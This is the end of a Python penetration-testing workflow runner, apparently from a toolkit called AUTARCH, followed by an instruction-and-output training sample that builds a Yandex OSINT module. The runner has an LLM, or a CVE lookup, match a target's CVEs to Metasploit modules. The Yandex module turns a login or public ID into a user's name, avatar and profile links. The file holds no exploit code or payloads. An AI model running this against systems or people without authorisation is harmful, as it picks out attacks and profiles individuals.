            correlations = state.get('correlations', [])

        if current_step <= 3:
            cont = input(f"\n{Colors.WHITE}  Run exploit suggestion? [Y/n]: {Colors.RESET}").strip().lower()
            if cont != 'n':
                print(f"\n{Colors.CYAN}{Colors.BOLD}  Step 3/4: Exploit Suggestion{Colors.RESET}")
                exploits = self._suggest_exploits(services, correlations)
                state['exploits'] = exploits
            state['current_step'] = 4
            self._save_state(state, state_file)

        if current_step <= 4:
            print(f"\n{Colors.CYAN}{Colors.BOLD}  Step 4/4: Report Generation{Colors.RESET}")
            self._generate_workflow_report(state)
            state['current_step'] = 5
            self._save_state(state, state_file)

        input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")

    # =========================================================================
    # HELPERS
    # =========================================================================

    def _suggest_exploits(self, services, correlations):
        """Try LLM-based exploit suggestion, fallback to CVE-MSF lookup."""
        exploits = []

        # Collect all CVEs
        all_cves = []
        for corr in correlations:
            for cve in corr.get('cves', []):
                all_cves.append(cve)

        if not all_cves:
            self.print_status("No CVEs to suggest exploits for.", "info")
            return []

        # Try LLM
        try:
            from core.llm import get_llm
            llm = get_llm()
            if llm and llm.is_loaded():
                self.print_status("Using LLM for exploit suggestions...", "info")

                svc_text = "\n".join(
                    f"- {s['service']}:{s.get('version', '?')} on port {s['port']}"
                    for s in services
                )
                cve_text = "\n".join(
                    f"- {c.get('id', '?')} (CVSS {c.get('cvss', '?')}): {c.get('description', '')[:100]}"
                    for c in all_cves[:20]
                )

                prompt = f"""Given these services and vulnerabilities, suggest the top 5 attack paths.

Services:
{svc_text}

CVEs:
{cve_text}

For each suggestion provide: rank, Metasploit module path (if known), target service, CVE, and reasoning.
Format each as: N. MODULE | TARGET | CVE | REASONING"""

                response = llm.generate(prompt)
                if response:
                    # Parse suggestions
                    for line in response.split('\n'):
                        line = line.strip()
                        match = re.match(r'\d+\.\s*(.+?)\s*\|\s*(.+?)\s*\|\s*(.+?)\s*\|\s*(.+)', line)
                        if match:
                            exploits.append({
                                'module': match.group(1).strip(),
                                'target': match.group(2).strip(),
                                'cve': match.group(3).strip(),
                                'reasoning': match.group(4).strip()
                            })

                    if exploits:
                        self.print_status(f"LLM suggested {len(exploits)} attack paths", "success")
                        for i, exp in enumerate(exploits, 1):
                            print(f"    {Colors.RED}{i}.{Colors.RESET} {exp['module']} → {exp['target']} ({exp['cve']})")
                        return exploits
        except Exception:
            pass

        # Fallback: CVE-to-MSF mapping
        self.print_status("LLM unavailable, using CVE-to-MSF module lookup...", "warning")
        try:
            from core.msf_modules import search_modules
            for cve in all_cves[:30]:
                cve_id = cve.get('id', '')
                if cve_id:
                    matches = search_modules(cve_id)
                    for mod_name, mod_info in matches:
                        exploits.append({
                            'module': mod_name,
                            'target': mod_info.get('description', '')[:60],
                            'cve': cve_id,
                            'reasoning': f"Direct CVE match (CVSS {cve.get('cvss', '?')})"
                        })
        except Exception as e:
            self.print_status(f"MSF module lookup failed: {e}", "warning")

        if exploits:
            self.print_status(f"Found {len(exploits)} exploit matches", "success")
            for i, exp in enumerate(exploits[:10], 1):
                print(f"    {Colors.RED}{i}.{Colors.RESET} {exp['module']} ({exp['cve']})")
        else:
            self.print_status("No exploit matches found.", "info")

        return exploits

    def _generate_workflow_report(self, state):
        """Generate HTML report from workflow state."""
        target = state.get('target', 'unknown')

        # Build network_data from services
        network_data = None
        services = state.get('services', [])
        if services:
            network_data = [{
                'ip': target,
                'hostname': target,
                'os_guess': '-',
                'ports': services
            }]

        vuln_data = state.get('correlations') or None
        exploit_data = state.get('exploits') or None

        try:
            from core.report_generator import get_report_generator
            rg = get_report_generator()
            report_path = rg.generate_pentest_report(
                target=target,
                network_data=network_data,
                vuln_data=vuln_data,
                exploit_data=exploit_data
            )
            self.print_status(f"Report saved to {report_path}", "success")
            state['report'] = report_path
        except Exception as e:
            self.print_status(f"Report generation failed: {e}", "error")

    def _save_state(self, state, state_file):
        """Save workflow state to JSON."""
        try:
            # Make serializable - convert CVE objects if needed
            serializable = json.loads(json.dumps(state, default=str))
            with open(state_file, 'w') as f:
                json.dump(serializable, f, indent=2)
        except Exception:
            pass

    # =========================================================================
    # MAIN LOOP
    # =========================================================================

    def run(self):
        """Main menu loop."""
        while True:
            self.show_menu()

            try:
                choice = input(f"{Colors.WHITE}  Select: {Colors.RESET}").strip()

                if choice == "0":
                    break
                elif choice == "1":
                    target = input(f"\n{Colors.WHITE}  Target IP/hostname: {Colors.RESET}").strip()
                    if target:
                        self.run_workflow(target)
                elif choice == "2":
                    target = input(f"\n{Colors.WHITE}  Target IP/hostname: {Colors.RESET}").strip()
                    if target:
                        self.quick_scan(target)
                elif choice == "3":
                    self.resume_workflow()

            except (EOFError, KeyboardInterrupt):
                print()
                break

def run():
    """Module entry point."""
    runner = WorkflowRunner()
    runner.run()

if __name__ == "__main__":
    run()


Instruction: Create an AUTARCH module in the 'osint' category that gather intel from yandex user accounts. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.

Input:
Module name: yandex_osint
Category: osint
Description: Gather intel from Yandex user accounts

Output:
"""
AUTARCH Yandex OSINT Module
Gather information about Yandex users from their login, email, or public links
"""

import json
import os
import sys
import webbrowser
from pathlib import Path

# Add parent directory to path for imports
sys.path.insert(0, str(Path(__file__).parent.parent))

from core.banner import Colors

# Module metadata
NAME = "Yandex OSINT"
DESCRIPTION = "Gather intel from Yandex user accounts"
AUTHOR = "darkHal Security Group"
VERSION = "1.0"
CATEGORY = "osint"

# Try to import requests
try:
    import requests
except ImportError:
    requests = None

class YandexParser:
    """Parser for Yandex user information."""

    def __init__(self):
        self.session = None
        self.timeout = 10
        self.user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36"
        self._init_session()

    def _init_session(self):
        """Initialize requests session."""
        if requests is None:
            return

        self.session = requests.Session()
        adapter = requests.adapters.HTTPAdapter(max_retries=2)
        self.session.mount('https://', adapter)
        self.session.mount('http://', adapter)
        self.session.headers.update({'User-Agent': self.user_agent})

    def lookup_by_login(self, login: str) -> dict:
        """Lookup Yandex user by login/email.

        Args:
            login: Yandex login or email.

        Returns:
            Dict with user information.
        """
        # Strip domain from email
        login = login.split('@')[0].strip()

        if not login:
            return {'error': 'Invalid login'}

        result = {
            'login': login,
            'email': f"{login}@yandex.ru",
            'display_name': None,
            'public_id': None,
            'avatar_url': None,
            'profiles': {},
        }

        print(f"{Colors.CYAN}[*] Looking up Yandex user: {login}{Colors.RESET}")

        # Query Yandex Collections API
        try:
            url = f"https://yandex.ru/collections/api/users/{login}/"
            response = self.session.get(url, timeout=self.timeout)

            if response.status_code == 200:
                data = response.json()

                if data.get('title') == "404 Not Found":
                    result['error'] = 'User not found'
                    return result

                result['display_name'] = data.get('display_name')
                result['public_id'] = data.get('public_id')

                avatar_id = data.get('default_avatar_id')
                if avatar_id:
                    result['avatar_url'] = f"https://avatars.mds.yandex.net/get-yapic/{avatar_id}/islands-300"

                # Build profile URLs
                pub_id = result['public_id']
                if pub_id:
                    result['profiles'] = {
                        'reviews': f"https://reviews.yandex.ru/user/{pub_id}",
                        'market': f"https://market.yandex.ru/user/{pub_id}/reviews",
                        'dzen': f"https://zen.yandex.ru/user/{pub_id}",
                        'qa': f"https://yandex.ru/q/profile/{pub_id}/",
                    }

                result['profiles']['music'] = f"https://music.yandex.ru/users/{login}/tracks"
                result['profiles']['disk'] = f"https://disk.yandex.ru/client/disk"

                print(f"{Colors.GREEN}[+] User found!{Colors.RESET}")

            elif response.status_code == 404:
                result['error'] = 'User not found'
            else:
                result['error'] = f'API error: {response.status_code}'

        except requests.exceptions.RequestException as e:
            result['error'] = f'Network error: {str(e)}'
        except json.JSONDecodeError:
            result['error'] = 'Invalid API response'
        except Exception as e:
            result['error'] = f'Error: {str(e)}'

        return result

    def lookup_by_disk_link(self, url: str) -> dict:
        """Extract user info from Yandex.Disk public link.

        Args:
            url: Public Yandex.Disk link.

        Returns:
            Dict with user information.
        """
        print(f"{Colors.CYAN}[*] Extracting user from Yandex.Disk link...{Colors.RESET}")

        try:
            response = self.session.get(url, timeout=self.timeout)

            if response.status_code != 200:
                return {'error': 'Failed to fetch disk link'}

            # Extract displayName from page
            try:
                login = response.text.split('displayName":"')[1].split('"')[0]
            except (IndexError, AttributeError):
                return {'error': 'Could not extract user from link'}

            if not login:
                return {'error': 'No user found in link'}

            print(f"{Colors.GREEN}[+] Extracted login: {login}{Colors.RESET}")

            return self.lookup_by_login(login)

        except Exception as e:
            return {'error': f'Error: {str(e)}'}

    def lookup_by_public_id(self, public_id: str) -> dict:
        """Lookup user by Yandex public ID.

        Args:
            public_id: 26-character Yandex user identifier.

        Returns:
            Dict with user information.
        """
        if len(public_id) != 26:
            return {'error': 'Invalid public ID (must be 26 characters)'}

        result = {
            'public_id': public_id,
            'profiles': {
                'reviews': f"https://reviews.yandex.ru/user/{public_id}",
                'market': f"https://market.yandex.ru/user/{public_id}/reviews",
                'dzen': f"https://zen.yandex.ru/user/{public_id}",
                'qa': f"https://yandex.ru/q/profile/{public_id}/",
            }
        }

        print(f"{Colors.CYAN}[*] Looking up public ID: {public_id}{Colors.RESET}")

        # Try to get more info from collections API
        try:
            url = f"https://yandex.ru/collections/api/users/{public_id}/"
            response = self.session.get(url, timeout=self.timeout)

            if response.status_code == 200:
                data = response.json()
                if data.get('title') != "404 Not Found":
                    result['display_name'] = data.get('display_name')
                    avatar_id = data.get('default_avatar_id')
                    if avatar_id:
                        result['avatar_url'] = f"https://avatars.mds.yandex.net/get-yapic/{avatar_id}/islands-300"

        except Exception:
            pass

        print(f"{Colors.GREEN}[+] Profile URLs generated!{Colors.RESET}")
        return result

def display_result(result: dict, open_browser: bool = False):
    """Display lookup result nicely.

    Args:
        result: Lookup result dict.
        open_browser: Whether to open URLs in browser.
    """
    if 'error' in result:
        print(f"{Colors.RED}[X] {result['error']}{Colors.RESET}")
        return

    print(f"\n{Colors.CYAN}{'=' * 55}{Colors.RESET}")
    print(f"{Colors.GREEN}{Colors.BOLD}  YANDEX USER PROFILE{Colors.RESET}")
    print(f"{Colors.CYAN}{'=' * 55}{Colors.RESET}")

    if result.get('display_name'):
        print(f"  {Colors.GREEN}Name:{Colors.RESET} {result['display_name']}")
    if result.get('login'):
        print(f"  {Colors.GREEN}Login:{Colors.RESET} {result['login']}")
    if result.get('email'):
        print(f"  {Colors.GREEN}Email:{Colors.RESET} {result['email']}")
    if result.get('public_id'):
        print(f"  {Colors.GREEN}Public ID:{Colors.RESET} {result['public_id']}")

    if result.get('avatar_url'):
        print(f"\n  {Colors.GREEN}Avatar:{Colors.RESET}")
        print(f"  {Colors.DIM}{result['avatar_url']}{Colors.RESET}")

    profiles = result.get('profiles', {})
    if profiles:
        print(f"\n  {Colors.GREEN}Yandex Services:{Colors.RESET}")
        for name, url in profiles.items():
            print(f"    {Colors.CYAN}{name.title()}:{Colors.RESET} {url}")
            if open_browser:
                try:
                    webbrowser.open(url)
                except Exception:
                    pass

    print()

def display_menu():
    """Display the Yandex OSINT module menu."""
    print(f"""
{Colors.CYAN}  Yandex OSINT{Colors.RESET}
{Colors.DIM}  Gather intelligence from Yandex user accounts{Colors.RESET}
{Colors.DIM}{'─' * 55}{Colors.RESET}

  {Colors.GREEN}[1]{Colors.RESET} Lookup by Login/Email
  {Colors.GREEN}[2]{Colors.RESET} Lookup by Yandex.Disk Public Link
  {Colors.GREEN}[3]{Colors.RESET} Lookup by Public ID (26-char hash)

  {Colors.RED}[0]{Colors.RESET} Back to OSINT Menu
""")

def run():
    """Main entry point for the module."""
    if requests is None:
        print(f"{Colors.RED}[X] This module requires 'requests' library{Colors.RESET}")
        print(f"{Colors.DIM}    Install with: pip install requests{Colors.RESET}")
        input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}")
        return

    parser = YandexParser()

    while True:
        display_menu()
        choice = input(f"{Colors.GREEN}Select option: {Colors.RESET}").strip()

        if choice == '0':
            break

        elif choice == '1':
            print(f"\n{Colors.CYAN}Enter Yandex login or email:{Colors.RESET}")
            print(f"{Colors.DIM}Example: username or username@yandex.ru{Colors.RESET}")
            login = input(f"\n{Colors.GREEN}Login: {Colors.RESET}").strip()

            if not login:
                continue

            result = parser.lookup_by_login(login)

            open_links = input(f"\n{Colors.YELLOW}Open profile links in browser? (y/n): {Colors.RESET}").strip().lower()
            display_result(result, open_browser=(open_links == 'y'))

            input(f"{Colors.DIM}Press Enter to continue...{Colors.RESET}")

        elif choice == '2':
            print(f"\n{Colors.CYAN}Enter Yandex.Disk public link:{Colors.RESET}")
            print(f"{Colors.DIM}Example: https://yadi.sk/d/xxxxx{Colors.RESET}")
            url = input(f"\n{Colors.GREEN}URL: {Colors.RESET}").strip()

            if not url:
                continue

            result = parser.lookup_by_disk_link(url)

            open_links = input(f"\n{Colors.YELLOW}Open profile links in browser? (y/n): {Colors.RESET}").strip().lower()
            display_result(result, open_browser=(open_links == 'y'))

            input(f"{Colors.DIM}Press Enter to continue...{Colors.RESET}")

        elif choice == '3':
            print(f"\n{Colors.CYAN}Enter Yandex public ID (26 characters):{Colors.RESET}")
            print(f"{Colors.DIM}Example: tr6r2c8ea4tvdt3xmpy5atuwg0{Colors.RESET}")
            pub_id = input(f"\n{Colors.GREEN}Public ID: {Colors.RESET}").strip()

            if not pub_id:
                continue

            result = parser.lookup_by_public_id(pub_id)

            open_links = input(f"\n{Colors.YELLOW}Open profile links in browser? (y/n): {Colors.RESET}").strip().lower()
            display_result(result, open_browser=(open_links == 'y'))

            input(f"{Colors.DIM}Press Enter to continue...{Colors.RESET}")

        else:
            print(f"{Colors.RED}[!] Invalid option{Colors.RESET}")

if __name__ == "__main__":
    run()